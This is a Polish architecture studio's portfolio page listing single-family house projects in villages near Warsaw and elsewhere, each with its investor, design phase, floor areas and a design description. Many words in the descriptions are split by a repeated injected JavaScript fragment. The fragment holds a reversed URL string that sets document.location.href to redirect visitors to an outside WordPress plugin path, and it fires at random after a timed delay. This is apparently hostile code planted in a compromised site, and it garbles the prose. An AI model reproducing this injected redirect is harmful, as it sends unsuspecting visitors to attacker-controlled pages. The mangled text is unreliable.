Architech » Budynki jednorodzinne

OSIEDLE SIEDMIU BUDYNKÓW JEDNORODZINNYCH W JANCZEWICACH UL.PSZENNA

[87]

INWESTOR: SBM “KLUB DWUSTU”

LOKALIZACJA: UL. PSZENNA, JANCZEWICE, GM.LESZNOWOLA

FAZA: PROJEKT KONCEPCYJNY

POW DZIAŁEK: 7 x 918,0m²

POW.UŻ. BUDYNKÓW: 7 x 260,77= 1825,39m ²

CZĘŚCIOWA ROZBIÓRKA I ROZBUDOWA DOMU JEDNORODZINNEGO WOLNOSTOJĄCEGO, UL.MAŁACHOWSKIEGO, IZABELIN

[83]

INWESTOR: PRYWATNY

LOKALIZACJA: UL.MAŁACHOWSKIEGO, IZABELIN

FAZA: PROJEKT BUDOWLANY

POW.UŻ.INWENT.BUDYNKU: 340,5 m²

POW.UŻ.PROJ.BUDYNKU: 265,42m²

Budynek zlokalizowany jest w Izabelinie przy ul.Małachowskiego. Głównym celem przebudowy jest zmniejszenie gabarytów budynku wraz z uporządkowaniem układu funkcjonalnego, oraz termomodernizacja wszystkich przegród zewnętrznych.

W ramach prac przewidziano wyburzenia dobudowanych fragmentów domu. Planowany jest nowy podjazd od strony ul. Małachowskiego oraz ze względów pożarowych dobudowa zadaszeń wejść i wjazdów wspartych na ścianach osłonowych. Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towano nowy układ z podziałem na strefy. Przeniesiono na parter strefę ogólnie dostępną, dzięki obniżeniu poziomu posadzki. Na piętrze zlokalizowano sypialnie dostępne z hallu łączącego wspólną otwartą przestrzenią obie kondygnacje. Prezentacja

ROZBUDOWA DOMU JEDNORODZINNEGO WOLNOSTOJĄCEGO, UL.KS.BOGUTY, TARNAWATKA

[82]

INWESTOR: PRYWATNY

LOKALIZACJA: UL.KS.BOGUTY, TARNAWATKA

FAZA: PROJEKT KONCEPCYJNY

POW.UŻYTKOWA: 122,8m²

POW.UŻ.IST.BUDYNKU: 115,3m²

Budynek zlokalizowany jest przy ul. Ks.Boguty w miejscowości Tarnawatka. “Przebudowa” przewiduje zmianę estetyki bryły budynku polegającą na nadbudowie w strefie wejściowej wraz z przedłużeniem dachu.

Ze względu na stan techniczny i zakres prac postanowiliśmy zminimalizować obciążenia nadbudowy. Przewidzieliśmy niewielkie zmiany układu funkcjonalnego na parterze i piętrze. Większy pokój dzienny otwarty będzie na nowy taras i skomunikowany z hallem i sypialnią.

W ramach modernizacji przewiduje się zmiany: materiałowe podkreślające charakter bryły budynku. Konieczna jest termomodernizacja wraz z wymianą stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolarki okiennej i drzwiowej. W strefie parteru zaproponowaliśmy okładzinę elewacji jasnym drewnem oraz granitem na cokole w połączeniu z zastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowanymi gabionami. Nowo powstały taras z desek kompozytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych zadaszony i wykończony blachą antracytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tową płaską na rąbek stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tojący.

ROZBUDOWA DOMU JEDNORODZINNEGO PRZY UL.CZARDASZA W WARSZAWIE

[81]

INWESTOR: PRYWATNY

LOKALIZACJA: UL.CZARDASZA, WARSZAWA

FAZA: PROJEKT KONCEPCYJNY

POW.UŻ.IST. BUDYNKU: 389,0m²

POW.UŻ.PROJ.BUDYNKU: 425,64m²

Budynek modernizowany zlokalizowany jest przy ulicy Czardasza w Warszawie. Ze względu na stan techniczny postanowiliśmy zminimalizować projektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towane obciążenia ściany południowej. Rozbudowa przewiduje nową konstrukcję słupową wspierającą fragment nadbudowy tarasu, oraz termomodernizacją całości budynku.

Przedstawiamy jako jeden z wariantów, rozbudowy od strony ogrodu z nowym stropem wspartym na ścianie wewnętrznej. Zmianę układów funkcjonalnych lokali na parterze i piętrze wynikającą z powiększonej powierzchni. Nowo powstałe pokoje dzienne zostaną bezpośrednio skomunikowane z istniejącymi kuchniami. Zgodnie z wolą Inwestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torów tarasy na wysokim parterze i piętrze wychodzą odpowiednio na południowy- wschód i południowy- zachód.

W ramach modernizacji przewiduje się również zmiany podkreślające charakter bryły budynku, polegające na usystematyzowaniu otworów okiennych, wraz z dociepleniem, wymianą stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolarki i ślusarki. W strefie przyziemia zaproponowaliśmy okładzinę z płyt elewacyjnych włóknocementoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych lub HPL. Nowo powstały taras drugiego piętra zwieńczy stalowa pergola z markizami.

BUDYNEK JEDNORODZINNY WOLNOSTOJĄCY, UL.GOŁĘBIA W KAJETANACH

[22]

INWESTOR: PRYWATNY

LOKALIZACJA: KAJETANY, GM.NADARZYN

FAZA: PROJEKT BUDOWLANY

POW.UŻYTKOWA: 231,3m²

KUBATURA: 1004,0m³

Na płaskim częściowo zabudowanym terenie, w pobliżu lasu w Kajetanach, Miejscowy Plan Zagospodarowania Przestrzennego (XLVIII/491/2002) przewiduje zabudowę jednorodzinną. Orientacja działki względem stron świata, północny zjazd z drogi, ustawiają lokalizację inwestycji. Dom w charakterze współczesnym rezydencjonalnym, opartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na bryle prostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topadłościanu przykrytego dachem kopertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towym z wysuniętymi garażem i zadaszonym tarasem.

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany budynek dwukondygnacyjny, z garażem na dwa samochody. Na parterze ze strefą reprezentacyjną, połączonego salonu z hallem i kuchnią, wydzielonym gabinetem, łazienką, spiżarnią i kotłownią. Centralnie zlokalizowany kominek z wkładem, tworzy ciepłą i przytulną atmosferę. Na piętrze przewidzieliśmy sypialnie wraz z łazienkami i garderobami dostępne z przestronnego hallu. Szerokie przeszklenie usytuowane centralnie w salonie łączy wnętrze z ogrodem, w którym dominuje otwarty basen.

Ogród został podzielony na dwie strefy: wejściową oraz basenową. Wprowadziliśmy przegrody stałe murowane wydzielające funkcję gospodarczą, w której znaczą część zajmują składy drewna i narzędzi. Ze względu na potrzebę zapewnienia intymności zaproponowaliśmy wygrodzenia z ruchomymi osłonami w ogrodzeniu, na tarasie, oraz osłaniające prysznic. Ogród dopełniają wkomponowana w zieleń: plaża, pergole i elementy kaskad wodnych.

BUDYNEK JEDNORODZINNY WOLNOSTOJĄCY, UL.SŁONECZNA W KOLECZKOWIE

[23]

INWESTOR: PRYWATNY

LOKALIZACJA: KOLECZKOWO, GM.SZEMUD

FAZA: PROJEKT BUDOWLANY

POW.UŻYTKOWA: 167,7m²

KUBATURA: 596,0m³

Aglomeracja pomorska objęta jest w sporej części zasięgiem Trójmiejskiego Parku Krajobrazowego na obrzeżach, którego w pasie Wzgórz Chwaszczyńskich położone jest Koleczkowo. Teren inwestycji o znacznym nachyleniu, porośnięty jest drzewami iglastymi, z otwartą ekspozycją od strony południowej na przyległe malownicze mokradła. Ze względu na kształt działki, zadrzewienie oraz otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczenie, dom usytuowano centralnie z północnym wejściem w podcieniu

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany budynek dwukondygnacyjny z garażem, na parterze w układzie połączonego pokoju dziennego z hallem i kuchnią. Wrażenie otwartej przestrzeni potęgują duże przeszklenia, umożliwiające wyjście na taras i działkę. Centralnie zlokalizowany kominek z wkładem, tworzy ciepłą i przytulną atmosferę.

Na piętrze nad garażem , dodatkowo przewidzieliśmy drugi taras. Ze względu na układ pomieszczeń, kondygnacje mogę funkcjonować niezależnie. Zaplanowaliśmy na piętrze oprócz dwóch sypialni, łazienkę garderobę i kuchnię dostępne z przestronnego hallu.

Działkę od strony dróg, częściowo wygradzają zastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowane kamienne gabiony oraz przęsła drewniane dopełnione zielenią. W przyszłości na ogrodzie planowany jest kaskadowy podświetlany strumień wpadającym do oczka wodnego, oraz wolnostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tojąca pergola grillowa.

BUDYNEK JEDNORODZINNY WOLNOSTOJĄCY, UL.ŹRÓDLANA W KAMIENIU

[24]

INWESTOR: PRYWATNY

LOKALIZACJA: KAMIEŃ, GM.CZERNICHÓW

FAZA: PROJEKT BUDOWLANY

POW.UŻYTKOWA: 151,4m²

KUBATURA: 680,0m³

Sady i łąki Rudniańskiego Parku Krajobrazowego w miejscowości Kamień otaczają inwestycję. Orientacja działki w terenie opadającym, dostępnej z drogi od strony północnej i zachodniej, ustawiają lokalizację budynku. Dom usytuowano przy północnej granicy działki z wejściem w podcieniu. Budynek otwarty we wszystkich kierunkach w zależności od potrzeby i sąsiedztwa, dodatkowo z widokiem na poziomie antresoli przez potrójne okno w dachu

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany budynek, w którym przestrzeń wewnętrzną kształtuje otwarty, centralnie ukierunkowany na wysokie okno hall, połączony z pokojem dziennym i kuchnią. Główną atrakcję stanowi przeszklenie wysokiego salonu na taras, umożliwiające widok na ogród i panoramę doliny Wisły. W przyszłości osłonięty będzie wszechstronnym ogrodem letnim/ pergolą, powiększającym przestrzeń bytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tową w okresach przejściowych. Centralnie zlokalizowany kominek z wkładem, tworzy ciepłą i przytulną atmosferę. W bryłę domu wkomponowany jest niewielki ogród zimowy, dostępny z pokoju dziennego oraz sypialni.

ZESPÓŁ SZEŚCIU BUDYNKÓW JEDNORODZINNYCH DWULOKALOWYCH W ZABUDOWIE SZEREGOWEJ, UL.WIŚNIOWA W ŁUBNEJ

[25]

INWESTOR: AMG TRADING SP.

LOKALIZACJA: : ŁUBNA, GM.GÓRA KALWARIA

FAZA: PROJEKT BUDOWLANY

POW.UŻYTKOWA: A/ 153,5m², B/ 142m²

POW.CAŁKOWITA: 1254,10m²

POW.TERENU: 3447,64m²

Zespół sześciu budynków jednorodzinnych szeregowych dwulokalowych zlokalizowany jest w sąsiedztwie Konstancina-Jeziorny w Łubnej. Inwestycja jest flagowym projektem spółki AMG Trading. Lokalizacja Osiedla Wiśniowa gwarantuje jego mieszkańcom zarówno bliskość lasów sosnowych i tężni solankowych w Uzdrowisku Konstancin-Jeziorna oraz rezerwatu przyrody w Chojnowskim Parku Krajobrazowym. Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towaliśmy budynki dwukondygnacyjne, dwulokalowe z możliwością użytkowania jako jednorodzinne. Na parterze w układzie połączonego pokoju dziennego z hallem i kuchnią. Wrażenie otwartej przestrzeni potęgują duże przeszklenia, wyjście na przylegający taras.

ROZBUDOWA BUDYNKU JEDNORODZINNEGO WOLNOSTOJĄCEGO PRZY UL.SŁONECZNEJ, RUDA

[38]

INWESTOR: PRYWATNY

LOKALIZACJA: RUDA, GM.TARCZYN

FAZA: PROJEKT KONCEPCYJNY

POW.UŻYTKOWA IST.: 84,0m²

POW.UŻYTKOWA PROJ.: 212,0m²

Dom jednorodzinny wolnostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tojący zlokalizowany jest na działce w okolicy terenów leśnych. Modernizacja polega na rozbudowie bryły budynku, zmianie powierzchni użytkowej z 84m² na 212m². Zastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowane rozwiązania materiałowe i kolorystyczne podkreślają podział na starą i nową część domu połączone na przestrzał przeszkleniami.